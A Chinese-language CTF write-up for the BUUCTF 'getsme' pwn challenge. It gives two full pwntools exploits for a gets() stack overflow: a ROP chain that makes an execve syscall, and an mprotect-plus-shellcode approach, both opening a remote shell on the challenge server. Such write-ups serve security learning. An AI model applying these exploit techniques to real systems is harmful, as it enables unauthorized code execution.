先看保护
再看ida
有一个不限长度的输入点gets,那能干的就很多了。
通俗易懂的思路有以下两种
解法一(系统调用):
完整exp:
from pwn import*
context(log_level='debug')
p=process('./getsme')
p=remote('node5.buuoj.cn',27638)
puts=0x804F2A0
ret=0x080481b2
pop_eax=0x080b81c6
pop_ebx=0x080481c9
pop_ecx=0x080de955
pop_edx=0x0806f02a
int80=0x0806cc25
sh=0x080d4285
mprotect=0x806E0F0
main=0x80488A3
vuln=0x804887C
bss=0x80EB624
gets=0x0804F120payload=b'a'*(0x18+4)+p32(gets)+p32(main)+p32(bss)
p.sendlineafter(b'GIVE ME YOUR NAME!',payload)payload=b'/bin/sh\x00'
p.sendline(payload)payload=b'a'*(0x18+4)+p32(pop_eax)+p32(11)+p32(pop_ebx)+p32(bss)+p32(pop_ecx)+p32(0)+p32(pop_edx)+p32(0)+p32(int80)
p.sendlineafter(b'GIVE ME YOUR NAME!',payload)p.interactive()
解题思路:
主要是利用gets函数先往任意可用的bss段来输入/bin/sh,这样我们进行系统调用才有参数,然后就可以再次输入进行系统调用execve。
补充点1:32位系统调用传参的寄存器顺序是ebx,ecx,edx等,eax用于存放系统调用号
补充点2:用ROPgadget找出的sh字符好像用不了,反正我尝试了一下,没法用,所以就自己往bss段写入/bin/sh了。
补充点3:他的gets函数是自己写的,没有plt和got,不能泄露libc地址
解法二(shellcode):
完整exp:
from pwn import*
context(log_level='debug')
#p=process('./getsme')
p=remote('node5.buuoj.cn',27638)
puts=0x804F2A0
ret=0x080481b2
pop_eax=0x080b81c6
pop_ebx=0x080481c9
pop_ecx=0x080de955
pop_edx=0x0806f02a
int80=0x0806cc25
sh=0x080d4285
mprotect=0x806E0F0
main=0x80488A3
vuln=0x804887C
bss=0x80EB624
gets=0x0804F120payload=b'a'*(0x18+4)+p32(mprotect)+p32(main)+p32(0x80e0000)+p32(0x10000)+p32(0x7)
p.sendlineafter(b'GIVE ME YOUR NAME!',payload)payload=b'a'*(0x18+4)+p32(gets)+p32(main)+p32(bss)
p.sendlineafter(b'GIVE ME YOUR NAME!',payload)shellcode='''
push 0
push 0x68732f2f
push 0x6e69622f
mov eax,11
mov ebx,esp
xor ecx,ecx
xor edx,edx
int 0x80
'''
shellcode=asm(shellcode) #用pwntools自带的shellcode也能解
print(len(shellcode))p.sendline(shellcode)payload=b'a'*(0x18+4)+p32(bss)
p.sendlineafter(b'GIVE ME YOUR NAME!',payload)p.interactive()
解题思路:
用mprotect把bss段的权限改成可执行,然后注入shellcode,再跳转到bss段执行就可以getshell了
补充点1:如果是自主编写的shellcode,传入的参数如果是;sh;或bash没法成功
补充点2:我这里往bss段注入shellcode而不是栈段注入,主要是因为栈的地址是不确定的,但bss段地址固定,往bss段注入不用求出地址,比较方便。
补充点3:能自己写shellcode最好自己写,因为pwntools给的shellcode有点大,而且题目要是限制一下shellcode也不好改